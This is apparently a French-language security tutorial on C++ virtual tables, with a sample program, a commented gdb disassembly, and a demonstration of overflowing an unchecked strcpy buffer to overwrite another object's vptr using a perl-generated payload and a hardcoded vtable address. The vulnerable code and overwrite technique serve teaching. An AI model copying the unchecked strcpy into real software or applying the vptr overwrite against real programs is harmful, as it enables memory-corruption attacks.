Having fun with vptr
Présentation
Chaque classe qui utilise des méthodes virtuelles ( ou qui dérive d'une classe qui utilise des méthodes virtuelles ) lui est attribuée une virtual table. Cette table est simplement un tableau que le compilateur va créer statiquement.
Une vtable va contenir une entrée ( qui sera en l'occurence un pointeur de fonction ) pour chaque méthode qui peuvent etre appelé par la classe.
Afin de permettre à chacune des instances de notre objet d'accéder a sa vtable, le compilateur va ajouter un pointeur vers cette table qu'on appelle le vptr.
Exemple
#include <stdio.h> #include <string.h> #include <iostream> class Person { public: virtual void name_set (char *name) { strcpy (name_, name); } virtual void print () { std::cout << "My name is " << name_ << std::endl; } private: char name_[32]; }; class Man : public Person { public: void print () { std::cout << "I'm a Man" << std::endl; Person::print (); } }; class Women : public Person { public: void print () { std::cout << "I'm a Women" << std::endl; Person::print (); } }; int main(int argc, char **argv) { Person *person_one = 0; Person *person_two = 0; person_one = new Man; person_two = new Women; person_one->name_set (argv[1]); person_two->name_set (argv[1]); person_one->print (); person_two->print (); return (0); }
Ici nous avons affaire à 3 classes, donc notre compilateur mettra en place 3 vtable. Une pour Person, une pour Man et une pour Women.
Le compilateur va ajouter un pointeur dans la classe mère pour permettre aux instances de nos classe fille, d'accéder à leur vtable au moment de l'éxecution de la maniere suivante :
class Person
{
public:
FuncPtr*__vptr;
void name_set (char *name);
...etc...
};
Hmm un schéma serait plus clair non ?
Regardons le disas de tout ça :
(gdb) disas main
Dump of assembler code for function main:
0x08048620 <main+0>: lea ecx,[esp+4]
0x08048624 <main+4>: and esp,0xfffffff0
0x08048627 <main+7>: push DWORD PTR [ecx-4]
0x0804862a <main+10>: push ebp
0x0804862b <main+11>: mov ebp,esp
0x0804862d <main+13>: push esi
0x0804862e <main+14>: push ebx
0x0804862f <main+15>: push ecx
0x08048630 <main+16>: sub esp,0x1c
0x08048633 <main+19>: mov esi,ecx
0x08048635 <main+21>: mov DWORD PTR [ebp-20],0x0
0x0804863c <main+28>: mov DWORD PTR [ebp-16],0x0
0x08048643 <main+35>: mov DWORD PTR [esp],0x24 // 0x24 = 36 octets ( 32 octets pour le buffer + 4 octets pour la vtable )
0x0804864a <main+42>: call 0x80484a4 <_init+84> // Appel a new pour reserver 36 octets dans notre heap
0x0804864f <main+47>: mov ebx,eax
0x08048651 <main+49>: mov DWORD PTR [esp],ebx // On place le pointeur this (persone_one) sur la stack
0x08048654 <main+52>: call 0x80486f0 <_ZN3ManC1Ev> // Appel au constructeur Man ()
0x08048659 <main+57>: mov DWORD PTR [ebp-20],ebx
0x0804865c <main+60>: mov DWORD PTR [esp],0x24 // 0x24 = 36 octets ( 32 octets pour le buffer + 4 octets pour la vtable )
0x08048663 <main+67>: call 0x80484a4 <_init+84> // Appel a new pour reserver 36 octets dans notre heap
0x08048668 <main+72>: mov ebx,eax
0x0804866a <main+74>: mov DWORD PTR [esp],ebx // On place le pointeur this (persone_two) sur la stack
0x0804866d <main+77>: call 0x8048710 <_ZN5WomenC1Ev> // Appel au constructeur Women ()
0x08048672 <main+82>: mov DWORD PTR [ebp-16],ebx
0x08048675 <main+85>: mov eax,DWORD PTR [ebp-20] // On recupere notre pointeur sur l'objet persone_one
0x08048678 <main+88>: mov eax,DWORD PTR [eax] // Eax recoit l'adresse de la vtable
0x0804867a <main+90>: mov edx,DWORD PTR [eax] // Edx recoit l'adresse de la methode Person::name_set
0x0804867c <main+92>: mov eax,DWORD PTR [esi+4]
0x0804867f <main+95>: add eax,0x4
0x08048682 <main+98>: mov eax,DWORD PTR [eax]
0x08048684 <main+100>: mov DWORD PTR [esp+4],eax
0x08048688 <main+104>: mov eax,DWORD PTR [ebp-20]
0x0804868b <main+107>: mov DWORD PTR [esp],eax // On place le pointeur this (persone_one) sur la stack
0x0804868e <main+110>: call edx // On apelle la methode Person::name_set
0x08048690 <main+112>: mov eax,DWORD PTR [ebp-16] // On recupere notre pointeur sur l'objet persone_two
0x08048693 <main+115>: mov eax,DWORD PTR [eax] // Eax recoit l'adresse de la vtable
0x08048695 <main+117>: mov edx,DWORD PTR [eax] // Edx recoit l'adresse de la methode Person::name_set
0x08048697 <main+119>: mov eax,DWORD PTR [esi+4]
0x0804869a <main+122>: add eax,0x4
0x0804869d <main+125>: mov eax,DWORD PTR [eax]
0x0804869f <main+127>: mov DWORD PTR [esp+4],eax
0x080486a3 <main+131>: mov eax,DWORD PTR [ebp-16]
0x080486a6 <main+134>: mov DWORD PTR [esp],eax // On place le pointeur this (persone_two) sur la stack
0x080486a9 <main+137>: call edx // On apelle la methode Person::name_set
0x080486ab <main+139>: mov eax,DWORD PTR [ebp-20] // On recupere notre pointeur sur l'objet persone_one
0x080486ae <main+142>: mov eax,DWORD PTR [eax] // Eax recoit l'adresse de la vtable
0x080486b0 <main+144>: add eax,0x4 // On ajoute 4 pour arriver sur la deuxieme entree de la vtable pour recuper le pointeur sur la methode print
0x080486b3 <main+147>: mov edx,DWORD PTR [eax] // Edx recoit l'adresse de la methode Man::print
0x080486b5 <main+149>: mov eax,DWORD PTR [ebp-20]
0x080486b8 <main+152>: mov DWORD PTR [esp],eax // On place le pointeur this (persone_one) sur la stack
0x080486bb <main+155>: call edx // On apelle la methode Man::print
0x080486bd <main+157>: mov eax,DWORD PTR [ebp-16] // On recupere notre pointeur sur l'objet persone_two
0x080486c0 <main+160>: mov eax,DWORD PTR [eax] // Eax recoit l'adresse de la vtable
0x080486c2 <main+162>: add eax,0x4 // On ajoute 4 pour arriver sur la deuxieme entree de la vtable pour recuper le pointeur sur la methode print
0x080486c5 <main+165>: mov edx,DWORD PTR [eax] // Edx recoit l'adresse de la methode Women::print
0x080486c7 <main+167>: mov eax,DWORD PTR [ebp-16]
0x080486ca <main+170>: mov DWORD PTR [esp],eax // On place le pointeur this (persone_two) sur la stack
0x080486cd <main+173>: call edx // On apelle la methode Man::print
0x080486cf <main+175>: mov eax,0x0
0x080486d4 <main+180>: add esp,0x1c
0x080486d7 <main+183>: pop ecx
0x080486d8 <main+184>: pop ebx
0x080486d9 <main+185>: pop esi
0x080486da <main+186>: pop ebp
0x080486db <main+187>: lea esp,[ecx-4]
0x080486de <main+190>: ret
0x080486df <main+191>: nop
End of assembler dump.
Analyse
Après cette petite analyse sous gdb, on peut schématiser tout ça :
Avec le code pris comme exemple (présence de strcpy), il nous vient à l'idée de faire déborder le buffer de l'objet persone_one et venir écraser le pointeur sur la vtable (Women __vptr) de l'objet person_two.
Partons sur un exemple d'exploitation ou aucun système comme l'ASLR n'est en place :
- On sait que la vtable de Man est en 0x08048870.
- On va donc venir écraser l'adresse du vptr de Women par cette adresse.
% ./a.out name
I'm a man
My name is name
I'm a women // La methode print de la classe Women est bien appelle
My name is name
% ./a.out perl -e'print "A"x(32+12) . "\x70\x88\x04\x08"'
I'm a man
My name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp
I'm a man // C'est un objet de type Women mais en remplacant son vptr, il appelle la methode print appartenant a un objet de type Man
My name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp
En espérant vous avoir donné quelques idées et qu'il n'y a pas que les programmes C qui peuvent etre exploités.